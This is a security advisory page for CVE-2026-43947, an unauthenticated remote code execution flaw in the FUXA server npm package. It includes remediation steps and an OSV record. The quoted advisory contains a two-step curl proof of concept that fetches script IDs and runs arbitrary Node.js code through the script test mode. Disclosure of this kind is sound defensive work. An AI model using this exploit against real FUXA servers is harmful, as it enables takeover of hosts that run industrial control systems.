CVE-2026-43947: Fuxa server Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-rg3m-cfq7-g6h6
CWE-863
Published
Advisory Summary

CVE-2026-43947 is a HIGH remote code execution vulnerability (CWE-863: Incorrect Authorization) affecting Fuxa server libraries in the npm ecosystem. The issue involves fuxa vulnerable to unauthenticated remote code execution via script test mode authorization bypass. Remediation is available by upgrading affected packages to version 1.3.1.

CVE-2026-43947 at a Glance

CVE Identifier CVE-2026-43947
GHSA Identifier GHSA-rg3m-cfq7-g6h6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Fuxa server
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-43947

To remediate this vulnerability, upgrade all affected Fuxa server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fuxa-server fixed: 1.3.1
npm install fuxa-server@1.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls fuxa-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-43947, inspect your project dependencies using npm:

npm ls fuxa-server

Analyze the terminal output to locate any version of Fuxa server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.1), your application is affected.

Note: The npm ls fuxa-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Fuxa server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated Remote Code Execution vulnerability exists in FUXA when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions. Script IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately). The only prerequisite is that at least one server-side script exists in the project. ### Details **Authorization confused deputy in script execution** File: `server/runtime/scripts/index.js`, lines 86-103 The authorization check looks up the stored script by ID and validates the stored script's `permission` field: ```javascript this.isAuthorised = function (_script, permission) { const st = scriptModule.getScript(_script); // finds stored script by _script.id if (admin || (st && (!st.permission || st.permission & permission))) { return true; } return false; } ``` When a script has no `permission` field set (or `permission: 0`), the expression `!st.permission` evaluates to `true`, and the check passes for any caller including guests. **Guest auto-authentication in the middleware** File: `server/api/jwt-helper.js`, lines 46-72 The `verifyToken` middleware generates a valid guest JWT when no token is provided: ```javascript if (!token) { token = getGuestToken(); } ``` The guest token passes verification. The request proceeds to the handler with `userId: "guest"`. The `isAuthorised` check then finds the stored script and validates against its permission. Scripts without a `permission` field pass for any user including guests. **Test mode executes attacker-supplied code** File: `server/runtime/scripts/msm.js` When `test: true` is set, `runTestScript` takes the attacker's `code` field from the request body, compiles it into a Node.js module via `Module._compile`, and executes it with full access to `require`, `child_process`, `fs`, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code. ### PoC Requires an existing server-side script accessible without restrictive permissions. **Step 1: Retrieve script IDs from the unauthenticated project endpoint** ```bash curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}' ``` ```json { "id": "legit-001", "name": "calculate", } { "id": "s_42a888fa-8e3d4213", "name": "subs", } ``` **Step 2: Execute `whoami` without authentication** Using the script ID and name from step 1: ```bash curl -s -X POST http://192.168.32.129:1881/api/runscript \ -H "Content-Type: application/json" \ -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}' ``` ### Impact Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project. Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance. This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

CVE-2026-43947 Affected Fuxa server Versions

1 component(s)
Fixed Versions:
1.3.1
Product / Package Ecosystem Affected Versions Fixed Version
fuxa-server
npm
≥ 1.3.0
< 1.3.1
All 1 versions
1.3.0
1.3.1

References

Frequently Asked Questions

What is CVE-2026-43947?
CVE-2026-43947 is a security vulnerability in Fuxa server involving FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass under CWE-863: Incorrect Authorization.
Which Fuxa server versions are affected?
Affected versions include releases prior to 1.3.1 across affected packages: fuxa-server.
What version fixes CVE-2026-43947?
Upgrading to 1.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fuxa-server affected?
Yes, fuxa-server is affected in releases prior to 1.3.1. Upgrade your dependency to 1.3.1 or later.
What CWE is associated with CVE-2026-43947?
CVE-2026-43947 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check npm dependencies for CVE-2026-43947?
Run the dependency tree command: 'npm ls fuxa-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rg3m-cfq7-g6h6",
  "modified" : "2026-05-26T23:44:52Z",
  "published" : "2026-05-26T23:44:52Z",
  "aliases" : [ "CVE-2026-43947" ],
  "summary" : "FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass",
  "details" : "### Summary\n\nAn unauthenticated Remote Code Execution vulnerability exists in FUXA when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.\n\nScript IDs and names can be obtained through the unauthenticated information disclosure in `GET /api/project` (reported separately).\n\nThe only prerequisite is that at least one server-side script exists in the project.\n\n### Details\n\n**Authorization confused deputy in script execution**\n\nFile: `server/runtime/scripts/index.js`, lines 86-103\n\nThe authorization check looks up the stored script by ID and validates the stored script's `permission` field:\n\n```javascript\nthis.isAuthorised = function (_script, permission) {\n    const st = scriptModule.getScript(_script);  // finds stored script by _script.id\n    if (admin || (st && (!st.permission || st.permission & permission))) {\n        return true;\n    }\n    return false;\n}\n```\n\nWhen a script has no `permission` field set (or `permission: 0`), the expression `!st.permission` evaluates to `true`, and the check passes for any caller including guests.\n\n**Guest auto-authentication in the middleware**\n\nFile: `server/api/jwt-helper.js`, lines 46-72\n\nThe `verifyToken` middleware generates a valid guest JWT when no token is provided:\n\n```javascript\nif (!token) {\n    token = getGuestToken();\n}\n```\n\nThe guest token passes verification. The request proceeds to the handler with `userId: \"guest\"`. The `isAuthorised` check then finds the stored script and validates against its permission. Scripts without a `permission` field pass for any user including guests.\n\n**Test mode executes attacker-supplied code**\n\nFile: `server/runtime/scripts/msm.js`\n\nWhen `test: true` is set, `runTestScript` takes the attacker's `code` field from the request body, compiles it into a Node.js module via `Module._compile`, and executes it with full access to `require`, `child_process`, `fs`, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.\n\n### PoC\n\nRequires an existing server-side script accessible without restrictive permissions.\n\n**Step 1: Retrieve script IDs from the unauthenticated project endpoint**\n\n```bash\ncurl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'\n```\n\n```json\n{\n  \"id\": \"legit-001\",\n  \"name\": \"calculate\",\n}\n{\n  \"id\": \"s_42a888fa-8e3d4213\",\n  \"name\": \"subs\",\n}\n```\n\n**Step 2: Execute `whoami` without authentication**\n\nUsing the script ID and name from step 1:\n\n```bash\ncurl -s -X POST http://192.168.32.129:1881/api/runscript \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"params\":{\"script\":{\"id\":\"s_42a888fa-8e3d4213\",\"name\":\"subs\",\"test\":true,\"code\":\"return require(\\\"child_process\\\").execSync(\\\"whoami\\\").toString()\",\"parameters\":[],\"sync\":true}}}'\n```\n\n\n### Impact\n\nAny network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.\n\nPotential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.\n\nThis issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fuxa-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.3.0"
      }, {
        "fixed" : "1.3.1"
      } ]
    } ],
    "versions" : [ "1.3.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/frangoteam/FUXA/pull/2260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/frangoteam/FUXA/commit/78534da61a91613712b44bb63c8d7da8c5df5ca4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/frangoteam/FUXA"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/frangoteam/FUXA/releases/tag/v1.3.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-26T23:44:52Z",
    "nvd_published_at" : null
  }
}